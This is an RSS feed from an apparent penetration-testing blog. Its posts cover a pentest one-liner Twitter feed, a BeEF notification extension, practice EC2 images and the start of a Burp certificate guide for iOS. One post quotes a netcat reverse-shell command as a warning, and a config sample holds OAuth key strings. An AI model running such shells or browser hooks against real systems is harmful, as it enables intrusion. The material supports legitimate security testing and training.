<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Offensive Coder</title>
	<atom:link href="http://offensivecoder.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://offensivecoder.com</link>
	<description>Security, Hacking, Code, Beer</description>
	<lastBuildDate>Sun, 18 Nov 2012 00:41:22 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Penetration Testing Command Line Fu: @pentestcli</title>
		<link>http://offensivecoder.com/2012/11/18/penetration-testing-command-line-fu-pentestcli/</link>
		<comments>http://offensivecoder.com/2012/11/18/penetration-testing-command-line-fu-pentestcli/#comments</comments>
		<pubDate>Sun, 18 Nov 2012 00:41:22 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">https://offensivecoder.com/?p=525</guid>
		<description><![CDATA[Over the years there&#8217;s tonnes of little code snippets, one-liners and bits of shell fu I&#8217;ve written or found which have helped me along the way in both penetration testing and general systems administration. I&#8217;m a huge fan of the<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/11/18/penetration-testing-command-line-fu-pentestcli/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p>Over the years there&#8217;s tonnes of little code snippets, one-liners and bits of shell fu I&#8217;ve written or found which have helped me along the way in both penetration testing and general systems administration. I&#8217;m a huge fan of the <a title="Command Line Kung Fu blog" href="http://blog.commandlinekungfu.com/" target="_blank">Command Line Kung Fu</a> blog and Command Line Magic&#8217;s <a title="Command Line Magic" href="https://twitter.com/climagic" target="_blank">Twitter feed</a> and have been known to dabble in a bit of code golf in my younger days. When faced with a task that has the slightest possibility of being repeated I often write some script or other to solve a problem that could have been done manually in a tenth of the time, justifying this process with the fact that &#8216;next time&#8217; it&#8217;ll be quicker. Well, next time I have to look up how to do it all over again!</p>
<p>For a little while now I had the idea of creating a Twitter feed for the purpose of sharing and recording one-liners and short scripts related to penetration testing. The general idea being that I only have to look in one place now! I wanted it to be collaborative so people can suggest stuff and it&#8217;ll get retweeted for others to see and hopefully use. I finally got around to setting it up and you can follow it at <a title="Penetration Testing Command Line Fu on Twitter" href="https://twitter.com/pentestcli" target="_blank">@pentestcli</a>.</p>
<p>Some general guidelines for it:</p>
<ul>
<li>Mostly commands will need to fit in &lt; 140 characters, I will rarely to link to external stuff unless it&#8217;s really worth it.</li>
<li>Any language/CLI/OS type is acceptable.</li>
<li>Commands can be stuff you&#8217;d run on your own box, or stuff you&#8217;d run on a pwned box.</li>
<li>Give attribution and play nice. I can&#8217;t check every mention I get so if it&#8217;s not yours, mention where you got it from.</li>
<li>I will RT valid looking commands but I&#8217;m not going to verify every single one. You&#8217;re expected to know what a command will do, why you might use it and how to protect yourself if it doesn&#8217;t do what you thought. If someone posts the equivalent of <em>sudo nc -e /bin/sh 1.1.1.1 4444</em> and I let it through and you run it, you&#8217;re on your own. <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
</ul>
<p>That&#8217;s it really. As they say, if you find it useful tell others, if you don&#8217;t tell <a title="Marc Wickenden's Twitter feed" href="https://twitter.com/marcwickenden" target="_blank">me</a>.</p>
<p>If you have any pentest CLI fu suggestions just tweet and mention @pentestcli.</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/11/18/penetration-testing-command-line-fu-pentestcli/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing BeEF Notifications</title>
		<link>http://offensivecoder.com/2012/08/04/introducing-beef-notifications/</link>
		<comments>http://offensivecoder.com/2012/08/04/introducing-beef-notifications/#comments</comments>
		<pubDate>Sat, 04 Aug 2012 00:03:05 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web App]]></category>
		<category><![CDATA[BeEF]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[web app]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://offensivecoder.com/?p=485</guid>
		<description><![CDATA[I&#8217;m a big fan of BeEF. Of course, while the steak above is very tasty I&#8217;m actually referring to the awesome Browser Exploitation Framework. I use it a fair bit on web app and social engineering engagements. I tend to<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p><a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/4-26273/" rel="attachment wp-att-486"><img class="size-medium wp-image-486" title="4 26273" src="http://offensivecoder.com/blog/wp-content/uploads/2012/08/TopSirloinSteak01-300x208.jpeg" alt="Beef" width="300" height="208" /></a></p>
<p>I&#8217;m a big fan of BeEF. Of course, while the steak above is very tasty I&#8217;m actually referring to the awesome <a title="BeEF Project" href="http://beefproject.com" target="_blank">Browser Exploitation Framework</a>. I use it a fair bit on web app and social engineering engagements. I tend to deploy it to a VPS box but found I was often wanting to leave it running and get a notification when a new browser joined the horde.</p>
<p>This functionality didn&#8217;t exist until&#8230;tonight. I&#8217;ve just coded it up and it&#8217;s working pretty well. I&#8217;ve submitted a <a href="https://github.com/beefproject/beef/pull/732" target="_blank">pull request</a> to the core framework so, in one form or another it will hopefully be available to everyone soon. In the meantime you can fork my version of BeEF from Github at <a href="https://github.com/offensivecoder/beef" target="_blank">https://github.com/offensivecoder/beef</a> if you want some notification goodness.</p>
<p><strong>Supported channels</strong></p>
<p>At the moment the notifications extension supports two &#8220;channels&#8221; for delivering messages; Twitter and Email. To enable Twitter notifications you will need to create an app at https://dev.twitter.com. This is very straightforward and a walkthrough follows. The Email side of things is much easier, just supply to and from email addresses, an SMTP server IP address and port number. At the moment I&#8217;ve kept it simple and it doesn&#8217;t support AUTH or TLS. The underlying Ruby gem does support these though so get hacking if you want that functionality.</p>
<p><strong>Configuring Twitter Notifications</strong></p>
<p>The first step is to create an app at https://dev.twitter.com. You don&#8217;t have to use your normal Twitter account to create the app but whichever Twitter account you use must be able to send a Direct Message to your nominated receiving account. For the purposes of this walkthrough I will be creating an app under my <a href="https://twitter.com/offensivecoder" target="_blank">@offensivecoder</a> Twitter account, with notifications being sent by DM to my regular account <a href="https://twitter.com/marcwickenden" target="_blank">@marcwickenden</a>.</p>
<p><strong>1. Create Twitter Application</strong></p>
<p><strong></strong>Go to https://dev.twitter.com/apps/new &#8211; sign in with your Twitter account if you aren&#8217;t already signed in &#8211; and complete the details of the application. Each app name must be unique across the whole of Twitter so you can&#8217;t use the same example as I&#8217;ve used below.</p>
<p><a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/screen-shot-2012-08-03-at-23-23-32/" rel="attachment wp-att-487"><img class="alignnone size-medium wp-image-487" title="Create a Twitter application" src="http://offensivecoder.com/blog/wp-content/uploads/2012/08/Screen-Shot-2012-08-03-at-23.23.32-300x175.png" alt="Creating a Twitter application for BeEF notifications" width="300" height="175" /></a></p>
<p>Scroll down the page, solve the CAPTCHA, agree to the terms and conditions and save the app.</p>
<p>The next thing you need to do is increase the permissions level. By default it is read-only which is no good for sending Direct Messages. From the app details screen click on Settings then scroll down to Application Type and click the radio button for Read, Write and Access direct messages.</p>
<p><a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/screen-shot-2012-08-03-at-23-24-50/" rel="attachment wp-att-489"><img class="alignnone size-medium wp-image-489" title="Update app permissions to read/write plus Direct Messages" src="http://offensivecoder.com/blog/wp-content/uploads/2012/08/Screen-Shot-2012-08-03-at-23.24.50-300x260.png" alt="" width="300" height="260" /></a></p>
<p>Next we need to generate our OAuth access token and secret. I&#8217;m not going to explain OAuth in this post but the app you are creating is a consumer, Twitter is the provider and your Twitter user account is ultimately the thing you need to provide the app with access to. <a href="http://en.wikipedia.org/wiki/OAuth" target="_blank">Wikipedia</a> is a good place to start if this whole thing confuses you.</p>
<p>Back on the Details tab for the app, scroll down. Right at the bottom is a big blue button which says &#8220;Create my access token&#8221; &#8211; click it.</p>
<p><a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/screen-shot-2012-08-03-at-23-25-24/" rel="attachment wp-att-490"><img class="alignnone size-medium wp-image-490" title="Create Twitter access token" src="http://offensivecoder.com/blog/wp-content/uploads/2012/08/Screen-Shot-2012-08-03-at-23.25.24-300x197.png" alt="" width="300" height="197" /></a></p>
<p>Now on the details screen there are four values we need to make a note of for use in the notifications configuration file.</p>
<div> <a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/screen-shot-2012-08-03-at-23-25-55/" rel="attachment wp-att-491"><img class="alignnone size-medium wp-image-491" title="Twitter OAuth details" src="http://offensivecoder.com/blog/wp-content/uploads/2012/08/Screen-Shot-2012-08-03-at-23.25.55-300x204.png" alt="" width="300" height="204" /></a></div>
<div>I should point out that this is almost as good as the password for your Twitter account. If someone else got hold of these details they can read and post to Twitter as this account so look after them (and certainly don&#8217;t take a screenshot and include it in your blog post! <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</div>
<p></p>
<div>The four values we need are:</div>
<div>
<ol>
<li>Consumer Key</li>
<li>Consumer Secret</li>
<li>Access Token</li>
<li>Access Token Secret</li>
</ol>
</div>
<p></p>
<div><strong>2. Configure BeEF</strong></div>
<div></div>
<div>Now we&#8217;ve set up Twitter we can go and edit the BeEF configuration to enable notifications, enable Twitter and add in the authentication details we generated in the previous step.</div>
<div></div>
<div>In the directory where you&#8217;ve cloned BeEF open extensions/notifications/config.yaml in your favourite editor (which is surely vim?). By default it looks like:</div>
<div></div>
<div><div class="gistem"><div id="gist-3252714" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="l-Scalar-Plain">beef</span><span class="p-Indicator">:</span></div><div class='line' id='LC2'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">extension</span><span class="p-Indicator">:</span></div><div class='line' id='LC3'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">notifications</span><span class="p-Indicator">:</span></div><div class='line' id='LC4'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">enable</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">false</span> </div><div class='line' id='LC5'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">name</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">Notifications</span></div><div class='line' id='LC6'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">twitter</span><span class="p-Indicator">:</span></div><div class='line' id='LC7'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">enable</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">false</span></div><div class='line' id='LC8'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">consumer_key</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">app_consumer_key</span></div><div class='line' id='LC9'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">consumer_secret</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">app_consumer_secret</span></div><div class='line' id='LC10'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">oauth_token</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">your_oauth_token_for_this_app</span></div><div class='line' id='LC11'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">oauth_token_secret</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">your_oauth_token_secret_for_this_app</span></div><div class='line' id='LC12'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">target_username</span><span class="p-Indicator">:</span> </div><div class='line' id='LC13'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">email</span><span class="p-Indicator">:</span></div><div class='line' id='LC14'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">enable</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">false</span></div><div class='line' id='LC15'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">from_address</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">sender_email_address</span></div><div class='line' id='LC16'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">to_address</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">receipient_email_address</span></div><div class='line' id='LC17'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">smtp_host</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">127.0.0.1</span></div><div class='line' id='LC18'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">smtp_port</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">25</span></div><div class='line' id='LC19'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/3252714/fc01d0d0e33218ec5a72bb01191a5791142bca73/config.yaml" style="float:right;">view raw</a>
            <a href="https://gist.github.com/3252714#file_config.yaml" style="float:right;margin-right:10px;color:#666">config.yaml</a>
            <a href="https://gist.github.com/3252714">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div><style type="text/css">@import "http://gist.github.com/stylesheets/gist/embed.css"; .gistem .highlight {background: inherit; !important;}</style></div>
<div></div>
<div>Firstly enable notifications, then enable Twitter and finally add the auth details so you end up with something like this:</div>
<div></div>
<div><div class="gistem"><div id="gist-3252729" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="l-Scalar-Plain">beef</span><span class="p-Indicator">:</span></div><div class='line' id='LC2'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">extension</span><span class="p-Indicator">:</span></div><div class='line' id='LC3'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">notifications</span><span class="p-Indicator">:</span></div><div class='line' id='LC4'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">enable</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">true</span> </div><div class='line' id='LC5'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">name</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">Notifications</span></div><div class='line' id='LC6'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">twitter</span><span class="p-Indicator">:</span></div><div class='line' id='LC7'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">enable</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">true</span></div><div class='line' id='LC8'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">consumer_key</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">joGGGIDMhmmmbwr7i2zpA</span></div><div class='line' id='LC9'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">consumer_secret</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">cGVgNnTmN3SkMhmmmYLVdYlZYIOP3w</span></div><div class='line' id='LC10'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">oauth_token</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">555368840-vW1Qq3wQOPpL7dMhmmmma6i2tDkMo5EN8xq8PHr3f</span></div><div class='line' id='LC11'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">oauth_token_secret</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">Xw11kAtldWUo0HFCMhmmmrnqVAbkFLOmIs950edNMo</span></div><div class='line' id='LC12'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">target_username</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">marcwickenden</span></div><div class='line' id='LC13'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="-Error">   </span><span class="l-Scalar-Plain">email</span><span class="p-Indicator">:</span></div><div class='line' id='LC14'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">enable</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">false</span></div><div class='line' id='LC15'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">from_address</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">sender_email_address</span></div><div class='line' id='LC16'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">to_address</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">receipient_email_address</span></div><div class='line' id='LC17'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">smtp_host</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">127.0.0.1</span></div><div class='line' id='LC18'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="l-Scalar-Plain">smtp_port</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">25</span></div><div class='line' id='LC19'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/3252729/5faa6ad37d20834b2f692364826e0ffa84940c04/config.yaml" style="float:right;">view raw</a>
            <a href="https://gist.github.com/3252729#file_config.yaml" style="float:right;margin-right:10px;color:#666">config.yaml</a>
            <a href="https://gist.github.com/3252729">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div></div>
<div></div>
<div><strong>3. Get Notified</strong></div>
<div></div>
<div>Start BeEF up in the normal way (./beef) and hook a browser to test it out. If all goes well you should get this:</div>
<div></div>
<div><a href="http://offensivecoder.com/2012/08/04/introducing-beef-notifications/screen-shot-2012-08-04-at-00-56-05/" rel="attachment wp-att-493"><img class="alignnone size-full wp-image-493" title="DM from BeEF" src="http://offensivecoder.com/blog/wp-content/uploads/2012/08/Screen-Shot-2012-08-04-at-00.56.05.png" alt="" width="300" height="101" /></a></div>
<div></div>
<div>Now you can go about your business and BeEF will let you know when something interesting has happened. <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </div>
<div></div>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/08/04/introducing-beef-notifications/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>[Quick Post] Public EC2 AMIs for Web App Hacking practice</title>
		<link>http://offensivecoder.com/2012/07/25/public-ec2-amis-for-web-app-hacking-practice/</link>
		<comments>http://offensivecoder.com/2012/07/25/public-ec2-amis-for-web-app-hacking-practice/#comments</comments>
		<pubDate>Wed, 25 Jul 2012 13:25:50 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Training]]></category>
		<category><![CDATA[Web App]]></category>
		<category><![CDATA[bsides london]]></category>
		<category><![CDATA[dvwa]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[web app]]></category>

		<guid isPermaLink="false">http://offensivecoder.com/?p=475</guid>
		<description><![CDATA[Hack The Cloud This is just a quick post following a brief conversation I had on Twitter earlier. It reminded me that I created two Amazon EC2 public AMIs a few weeks ago which can be used for practising Web<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/07/25/public-ec2-amis-for-web-app-hacking-practice/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p><a href="http://offensivecoder.com/2012/07/25/public-ec2-amis-for-web-app-hacking-practice/amazon-web-services-cloud/" rel="attachment wp-att-476"><img class="alignnone size-medium wp-image-476" title="amazon-web-services-cloud" src="http://offensivecoder.com/blog/wp-content/uploads/2012/07/amazon-web-services-cloud-300x181.png" alt="Hack The Cloud" width="300" height="181" /></a></p>
<p><strong>Hack The Cloud</strong></p>
<p>This is just a quick post following a brief conversation I had on Twitter earlier. It reminded me that I created two Amazon EC2 public AMIs a few weeks ago which can be used for practising Web App security assessments.</p>
<p>At some point maybe I&#8217;ll get around to writing up a proper howto but for now I&#8217;ll assume those of you out there who are interested will either know, or be able to work out, the steps required to boot one of these.</p>
<p>I plan to create quite a few of these as I find EC2 a very useful (and free) alternative to running a VM server at home sometimes. For now though there are just two. When you boot the instance it will add your SSH public key to ~ubuntu/.ssh/authorized_keys.</p>
<p><strong>DVWA</strong></p>
<p><a title="DVWA website" href="http://www.dvwa.co.uk/" target="_blank">DVWA</a> is a great place to start when learning about webapp security. The AMI image is built on the Amazon recommended Ubuntu Server 12.04 LTS image. On top of this I added XAMPP and DVWA in the default DocumentRoot. DVWA is already set up and the XAMPP stack should auto-start so, in theory all you need to once you&#8217;ve fired up an instance is point your web browser at the public DNS hostname. Please remember to firewall this bad boy off with an appropriate Security Group in EC2 otherwise your shiny new instance will probably get auto-popped by a skiddie pretty soon after you start playing with the security levels. <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The AMI id for this image is: <strong>ami-db2226af</strong></p>
<p><strong>Hive B-Sides London Challenge</strong></p>
<p>I couldn&#8217;t resist flogging this horse a little longer. If you want your very own copy of my B-Sides London 2012 Web Hacking Challenge you can fire up this instance. Again it&#8217;s built on Ubuntu Server 12.04 LTS (people seem to like this&#8230;prefer Debian myself but Amazon suck for decent Debian images). This time though it has a &#8220;proper&#8221; installation of Apache, chrooted, MySQL, Redis, etc all installed.</p>
<p>Again, it should all just start up so you can point your web browser to the public DNS hostname and away you go.</p>
<p>The AMI id for this image is: <strong>ami-7f2a2e0b</strong></p>
<p>&nbsp;</p>
<p>Happy hacking. If there are any problems with either of the images please report them to marc at offensivecoder.com or ping me on <a title="Marc's Twitter page" href="https://twitter.com/marcwickenden" target="_blank">Twitter</a>. Ideas for new images also welcome.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/07/25/public-ec2-amis-for-web-app-hacking-practice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to add Burp CA Certificate to iPad or iPhone</title>
		<link>http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/</link>
		<comments>http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/#comments</comments>
		<pubDate>Wed, 27 Jun 2012 22:04:10 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Burp]]></category>
		<category><![CDATA[CA]]></category>
		<category><![CDATA[Certificate]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iPod]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://offensivecoder.com/?p=424</guid>
		<description><![CDATA[A guy can never feel complete as a technical security blogger until they&#8217;ve written a post about how to add the Burp CA cert into an iOS device &#8211; so here&#8217;s mine! As a consultant and tester I&#8217;m doing more<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p>A guy can never feel complete as a technical security blogger until they&#8217;ve written a post about how to add the Burp CA cert into an iOS device &#8211; so here&#8217;s mine!</p>
<p>As a consultant and tester I&#8217;m doing more and more with mobile devices. Most apps make some kind of Internet connection so it makes sense that we&#8217;ll want to proxy that through something useful like Burp. When you&#8217;re doing web application testing *most* of the time the client is a web browser and these are pretty good at popping up a warning about untrusted SSL certificates, even on an iOS device you get this option in Mobile Safari. Apps however don&#8217;t offer this same choice, the cert is either trusted and valid or it&#8217;s not. If you want to intercept HTTPS traffic with Burp you&#8217;re going to need to import your Burp CA cert to the iOS device&#8217;s cert store.</p>
<p>So, here we go then. First things first we need a copy of the Burp CA cert. The easiest way to do this is on a desktop machine and export it using Firefox. I&#8217;m going to assume you&#8217;ve already configured your proxy settings in Firefox to point to your Burp instance. Now try and access an HTTPS web site, it doesn&#8217;t matter which one &#8211; use <a href="https://offensivecoder.com" target="_blank">https://offensivecoder.com</a> if you like. <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>The browser will throw up this warning:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/untrusted_warning-2/" rel="attachment wp-att-442"><img class="alignnone size-medium wp-image-442" title="untrusted_warning" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/untrusted_warning1-300x215.png" alt="" width="300" height="215" /></a></p>
<p>Expand the &#8220;I Understand The Risks&#8221; section and click &#8220;Add Exception&#8221;</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/understand_the_risks/" rel="attachment wp-att-432"><img class="alignnone size-medium wp-image-432" title="understand_the_risks" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/understand_the_risks-300x129.png" alt="" width="300" height="129" /></a></p>
